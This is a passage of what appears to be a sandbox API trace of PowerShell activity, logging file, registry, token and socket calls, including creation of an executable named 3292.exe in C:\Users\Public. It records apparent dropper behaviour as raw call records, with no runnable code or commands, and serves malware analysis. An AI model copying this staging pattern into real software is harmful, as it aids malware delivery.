(hObject=0x3d4) returned 1 [0029.763] CloseHandle (hObject=0x3d0) returned 1 [0029.763] CloseHandle (hObject=0x3cc) returned 1 [0029.763] CloseHandle (hObject=0x3c8) returned 1 [0029.763] CloseHandle (hObject=0x3c4) returned 1 [0029.764] CloseHandle (hObject=0x3c0) returned 1 [0029.764] CloseHandle (hObject=0x3bc) returned 1 [0029.764] CloseHandle (hObject=0x3b8) returned 1 [0029.764] CloseHandle (hObject=0x3b4) returned 1 [0029.764] CloseHandle (hObject=0x3b0) returned 1 [0029.764] RegCloseKey (hKey=0x590) returned 0x0 [0029.765] CloseHandle (hObject=0x58c) returned 1 [0029.765] CloseHandle (hObject=0x588) returned 1 [0029.765] CloseHandle (hObject=0x584) returned 1 [0029.765] CloseHandle (hObject=0x53c) returned 1 [0029.765] CloseHandle (hObject=0x574) returned 1 [0029.765] UnmapViewOfFile (lpBaseAddress=0x1bc60000) returned 1 [0029.766] CloseHandle (hObject=0x414) returned 1 [0029.766] CloseHandle (hObject=0x528) returned 1 [0029.766] CloseHandle (hObject=0x520) returned 1 [0029.766] CloseHandle (hObject=0x40c) returned 1 [0029.767] CloseHandle (hObject=0x408) returned 1 [0029.767] CloseHandle (hObject=0x30c) returned 1 [0029.767] CloseHandle (hObject=0x308) returned 1 [0029.767] CloseHandle (hObject=0x398) returned 1 [0029.768] CloseHandle (hObject=0x3e0) returned 1 [0029.768] CloseHandle (hObject=0x3dc) returned 1 [0029.768] CloseHandle (hObject=0x3d8) returned 1 [0029.768] CloseHandle (hObject=0x50c) returned 1 [0029.768] CloseHandle (hObject=0x394) returned 1 [0029.768] CloseHandle (hObject=0x328) returned 1 [0029.769] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0029.769] CloseHandle (hObject=0x2ec) returned 1 [0029.769] CloseHandle (hObject=0x31c) returned 1 [0029.769] UnmapViewOfFile (lpBaseAddress=0x2040000) returned 1 [0029.769] CloseHandle (hObject=0x374) returned 1 Thread: id = 29 os_tid = 0xb14 [0025.515] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0025.518] SetThreadUILanguage (LangId=0x0) returned 0x7fffffa0409 [0025.522] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.522] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.522] CoTaskMemFree (pv=0x25b4d0) [0025.523] VirtualQuery (in: lpAddress=0x1c67d9c0, lpBuffer=0x1c67e880, dwLength=0x30 | out: lpBuffer=0x1c67e880*(BaseAddress=0x1c67d000, AllocationBase=0x1bcf0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0025.532] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.532] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.532] CoTaskMemFree (pv=0x25b4d0) [0025.534] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.534] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.534] CoTaskMemFree (pv=0x25b4d0) [0025.536] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.536] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.536] CoTaskMemFree (pv=0x25b4d0) [0025.542] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.542] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.542] CoTaskMemFree (pv=0x25b4d0) [0025.544] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.544] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.544] CoTaskMemFree (pv=0x25b4d0) [0025.545] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.545] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.545] CoTaskMemFree (pv=0x25b4d0) [0025.549] VirtualQuery (in: lpAddress=0x1c67dc70, lpBuffer=0x1c67eb30, dwLength=0x30 | out: lpBuffer=0x1c67eb30*(BaseAddress=0x1c67d000, AllocationBase=0x1bcf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0025.550] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.550] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.550] CoTaskMemFree (pv=0x25b4d0) [0025.552] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.552] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.552] CoTaskMemFree (pv=0x25b4d0) [0025.552] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.552] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.552] CoTaskMemFree (pv=0x25b4d0) [0025.553] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.553] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.553] CoTaskMemFree (pv=0x25b4d0) [0025.556] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.556] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.556] CoTaskMemFree (pv=0x25b4d0) [0025.589] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.589] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.589] CoTaskMemFree (pv=0x25b4d0) [0025.591] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.591] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.591] CoTaskMemFree (pv=0x25b4d0) [0025.592] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.592] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.592] CoTaskMemFree (pv=0x25b4d0) [0025.594] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.594] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.594] CoTaskMemFree (pv=0x25b4d0) [0025.595] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.595] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.595] CoTaskMemFree (pv=0x25b4d0) [0025.596] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.596] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.596] CoTaskMemFree (pv=0x25b4d0) [0025.597] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.597] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.597] CoTaskMemFree (pv=0x25b4d0) [0025.608] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.608] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.608] CoTaskMemFree (pv=0x25b4d0) [0025.676] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.676] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.676] CoTaskMemFree (pv=0x25b4d0) [0025.679] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.679] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.679] CoTaskMemFree (pv=0x25b4d0) [0025.851] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.851] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.851] CoTaskMemFree (pv=0x25b4d0) [0025.914] VirtualQuery (in: lpAddress=0x1c67d290, lpBuffer=0x1c67e150, dwLength=0x30 | out: lpBuffer=0x1c67e150*(BaseAddress=0x1c67d000, AllocationBase=0x1bcf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0025.976] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.976] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.976] CoTaskMemFree (pv=0x25b4d0) [0025.977] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.977] GetEnvironmentVariableW (in: lpName="PubLic", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="C:\\Users\\Public") returned 0xf [0025.977] CoTaskMemFree (pv=0x25b4d0) [0025.982] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.982] GetEnvironmentVariableW (in: lpName="PubLic", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="C:\\Users\\Public") returned 0xf [0025.983] CoTaskMemFree (pv=0x25b4d0) [0025.983] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.983] GetEnvironmentVariableW (in: lpName="PubLIC", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="C:\\Users\\Public") returned 0xf [0025.983] CoTaskMemFree (pv=0x25b4d0) [0025.984] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.984] GetEnvironmentVariableW (in: lpName="PubLIC", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="C:\\Users\\Public") returned 0xf [0025.984] CoTaskMemFree (pv=0x25b4d0) [0025.998] VirtualQuery (in: lpAddress=0x1c67c5b0, lpBuffer=0x1c67d470, dwLength=0x30 | out: lpBuffer=0x1c67d470*(BaseAddress=0x1c67c000, AllocationBase=0x1bcf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0026.003] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0026.003] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0026.003] CoTaskMemFree (pv=0x25b4d0) [0026.139] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0026.139] GetEnvironmentVariableW (in: lpName="public", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="C:\\Users\\Public") returned 0xf [0026.139] CoTaskMemFree (pv=0x25b4d0) [0026.139] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0026.139] GetEnvironmentVariableW (in: lpName="public", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="C:\\Users\\Public") returned 0xf [0026.139] CoTaskMemFree (pv=0x25b4d0) [0026.288] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c67bf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0026.288] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c67be50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0026.291] CoTaskMemAlloc (cb=0x20c) returned 0x2b1e40 [0026.291] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b1e40, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0026.291] CoTaskMemFree (pv=0x2b1e40) [0026.291] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x1c67bfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0026.298] GetCurrentProcess () returned 0xffffffffffffffff [0026.298] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bf18 | out: TokenHandle=0x1c67bf18*=0x304) returned 1 [0026.299] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1c67bb70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0026.300] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c67bfc0 | out: lpFileInformation=0x1c67bfc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0026.301] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c67bb10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0026.301] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c67bf70 | out: lpFileInformation=0x1c67bf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0026.302] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c67b950, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0026.302] SetErrorMode (uMode=0x1) returned 0x1 [0026.302] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0026.302] GetFileType (hFile=0x354) returned 0x1 [0026.302] SetErrorMode (uMode=0x1) returned 0x1 [0026.302] GetFileType (hFile=0x354) returned 0x1 [0026.303] GetFileSize (in: hFile=0x354, lpFileSizeHigh=0x1c67bf68 | out: lpFileSizeHigh=0x1c67bf68*=0x0) returned 0x65b3 [0026.303] ReadFile (in: hFile=0x354, lpBuffer=0x33a5448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67be88, lpOverlapped=0x0 | out: lpBuffer=0x33a5448*, lpNumberOfBytesRead=0x1c67be88*=0x1000, lpOverlapped=0x0) returned 1 [0026.306] ReadFile (in: hFile=0x354, lpBuffer=0x33a5448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67bb68, lpOverlapped=0x0 | out: lpBuffer=0x33a5448*, lpNumberOfBytesRead=0x1c67bb68*=0x1000, lpOverlapped=0x0) returned 1 [0026.306] ReadFile (in: hFile=0x354, lpBuffer=0x33a5448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67b9b8, lpOverlapped=0x0 | out: lpBuffer=0x33a5448*, lpNumberOfBytesRead=0x1c67b9b8*=0x1000, lpOverlapped=0x0) returned 1 [0026.306] ReadFile (in: hFile=0x354, lpBuffer=0x33a5448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67b9b8, lpOverlapped=0x0 | out: lpBuffer=0x33a5448*, lpNumberOfBytesRead=0x1c67b9b8*=0x1000, lpOverlapped=0x0) returned 1 [0026.307] ReadFile (in: hFile=0x354, lpBuffer=0x33a5448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67b9b8, lpOverlapped=0x0 | out: lpBuffer=0x33a5448*, lpNumberOfBytesRead=0x1c67b9b8*=0x1000, lpOverlapped=0x0) returned 1 [0026.308] ReadFile (in: hFile=0x354, lpBuffer=0x33a5448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67baf8, lpOverlapped=0x0 | out: lpBuffer=0x33a5448*, lpNumberOfBytesRead=0x1c67baf8*=0x1000, lpOverlapped=0x0) returned 1 [0026.308] ReadFile (in: hFile=0x354, lpBuffer=0x33a5448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67b918, lpOverlapped=0x0 | out: lpBuffer=0x33a5448*, lpNumberOfBytesRead=0x1c67b918*=0x5b3, lpOverlapped=0x0) returned 1 [0026.309] ReadFile (in: hFile=0x354, lpBuffer=0x33a5448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c67bac8, lpOverlapped=0x0 | out: lpBuffer=0x33a5448*, lpNumberOfBytesRead=0x1c67bac8*=0x0, lpOverlapped=0x0) returned 1 [0026.309] CloseHandle (hObject=0x354) returned 1 [0026.309] GetCurrentProcess () returned 0xffffffffffffffff [0026.309] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67c178 | out: TokenHandle=0x1c67c178*=0x354) returned 1 [0026.310] GetCurrentProcess () returned 0xffffffffffffffff [0026.310] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67c178 | out: TokenHandle=0x1c67c178*=0x3a4) returned 1 [0026.310] GetCurrentProcess () returned 0xffffffffffffffff [0026.310] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bf18 | out: TokenHandle=0x1c67bf18*=0x378) returned 1 [0026.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x1c67bfc0 | out: lpFileInformation=0x1c67bfc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0026.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x1c67bf70 | out: lpFileInformation=0x1c67bf70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0026.311] GetCurrentProcess () returned 0xffffffffffffffff [0026.311] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67c178 | out: TokenHandle=0x1c67c178*=0x37c) returned 1 [0026.312] GetCurrentProcess () returned 0xffffffffffffffff [0026.312] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67c178 | out: TokenHandle=0x1c67c178*=0x380) returned 1 [0026.321] GetCurrentProcess () returned 0xffffffffffffffff [0026.321] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bdf8 | out: TokenHandle=0x1c67bdf8*=0x384) returned 1 [0026.335] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bdf8 | out: TokenHandle=0x1c67bdf8*=0x388) returned 1 [0026.338] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\3292.exe", nBufferLength=0x105, lpBuffer=0x1c67c1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\3292.exe", lpFilePart=0x0) returned 0x18 [0026.338] SetErrorMode (uMode=0x1) returned 0x1 [0026.338] CreateFileW (lpFileName="C:\\Users\\Public\\3292.exe" (normalized: "c:\\users\\public\\3292.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x38c [0026.338] GetFileType (hFile=0x38c) returned 0x1 [0026.338] SetErrorMode (uMode=0x1) returned 0x1 [0026.338] GetFileType (hFile=0x38c) returned 0x1 [0026.349] GetCurrentProcess () returned 0xffffffffffffffff [0026.350] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67be58 | out: TokenHandle=0x1c67be58*=0x374) returned 1 [0026.353] GetCurrentProcess () returned 0xffffffffffffffff [0026.353] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67be58 | out: TokenHandle=0x1c67be58*=0x394) returned 1 [0026.358] GetCurrentProcess () returned 0xffffffffffffffff [0026.358] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bd98 | out: TokenHandle=0x1c67bd98*=0x398) returned 1 [0026.359] GetCurrentProcess () returned 0xffffffffffffffff [0026.359] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bd98 | out: TokenHandle=0x1c67bd98*=0x308) returned 1 [0026.360] GetCurrentProcess () returned 0xffffffffffffffff [0026.360] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67c3d8 | out: TokenHandle=0x1c67c3d8*=0x30c) returned 1 [0026.367] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67a498 | out: phkResult=0x1c67a498*=0x39c) returned 0x0 [0026.367] RegQueryValueExW (in: hKey=0x39c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c67a41c, lpData=0x0, lpcbData=0x1c67a418*=0x0 | out: lpType=0x1c67a41c*=0x1, lpData=0x0, lpcbData=0x1c67a418*=0xe) returned 0x0 [0026.367] CoTaskMemAlloc (cb=0x12) returned 0x1b729520 [0026.367] RegQueryValueExW (in: hKey=0x39c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1c67a3ec, lpData=0x1b729520, lpcbData=0x1c67a3e8*=0xe | out: lpType=0x1c67a3ec*=0x1, lpData="Client", lpcbData=0x1c67a3e8*=0xe) returned 0x0 [0026.367] CoTaskMemFree (pv=0x1b729520) [0026.368] RegCloseKey (hKey=0x39c) returned 0x0 [0026.397] CoTaskMemAlloc (cb=0xcd0) returned 0x1b72ae70 [0026.397] RasEnumConnectionsW (in: param_1=0x1b72ae70, param_2=0x1c67c42c, param_3=0x1c67c428 | out: param_1=0x1b72ae70, param_2=0x1c67c42c, param_3=0x1c67c428) returned 0x0 [0026.411] CoTaskMemFree (pv=0x1b72ae70) [0026.418] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1c67c238 | out: lpWSAData=0x1c67c238) returned 0 [0026.426] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x408 [0026.452] setsockopt (s=0x408, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0026.452] closesocket (s=0x408) returned 0 [0026.453] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x408 [0026.464] setsockopt (s=0x408, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0026.464] closesocket (s=0x408) returned 0 [0026.468] GetCurrentProcess () returned 0xffffffffffffffff [0026.468] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bab8 | out: TokenHandle=0x1c67bab8*=0x408) returned 1 [0026.469] GetCurrentProcess () returned 0xffffffffffffffff [0026.469] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c67bab8 | out: TokenHandle=0x1c67bab8*=0x40c) returned 1 [0026.475] GetComputerNameW (in: lpBuffer=0x2a4960, nSize=0x33d4470 | out: lpBuffer="YKYD69Q", nSize=0x33d4470) returned 1 [0026.475] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67bf98 | out: phkResult=0x1c67bf98*=0x410) returned 0x0 [0026.475] RegQueryValueExW (in: hKey=0x410, lpValueName="Library", lpReserved=0x0, lpType=0x1c67bf1c, lpData=0x0, lpcbData=0x1c67bf18*=0x0 | out: lpType=0x1c67bf1c*=0x1, lpData=0x0, lpcbData=0x1c67bf18*=0x1c) returned 0x0 [0026.475] CoTaskMemAlloc (cb=0x20) returned 0x1b716c30 [0026.475] RegQueryValueExW (in: hKey=0x410, lpValueName="Library", lpReserved=0x0, lpType=0x1c67beec, lpData=0x1b716c30, lpcbData=0x1c67bee8*=0x1c | out: lpType=0x1c67beec*=0x1, lpData="netfxperf.dll", lpcbData=0x1c67bee8*=0x1c) returned 0x0 [0026.475] RegQueryValueExW (in: hKey=0x410, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c67bf1c, lpData=0x0, lpcbData=0x1c67bf18*=0x0 | out: lpType=0x1c67bf1c*=0x4, lpData=0x0, lpcbData=0x1c67bf18*=0x4) returned 0x0 [0026.476] RegQueryValueExW (in: hKey=0x410, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x1c67bf20, lpData=0x1c67bf1c, lpcbData=0x1c67bf18*=0x4 | out: lpType=0x1c67bf20*=0x4, lpData=0x1c67bf1c*=0x1, lpcbData=0x1c67bf18*=0x4) returned 0x0 [0026.476] RegQueryValueExW (in: hKey=0x410, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c67bf1c, lpData=0x0, lpcbData=0x1c67bf18*=0x0 | out: lpType=0x1c67bf1c*=0x4, lpData=0x0, lpcbData=0x1c67bf18*=0x4) returned 0x0 [0026.476] RegQueryValueExW (in: hKey=0x410, lpValueName="First Counter", lpReserved=0x0, lpType=0x1c67bf20, lpData=0x1c67bf1c, lpcbData=0x1c67bf18*=0x4 | out: lpType=0x1c67bf20*=0x4, lpData=0x1c67bf1c*=0x137a, lpcbData=0x1c67bf18*=0x4) returned 0x0 [0026.476] RegCloseKey (hKey=0x410) returned 0x0 [0026.476] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x1c67bf58 | out: phkResult=0x1c67bf58*=0x410) returned 0x0 [0026.477] RegQueryValueExW (in: hKey=0x410, lpValueName="CategoryOptions", 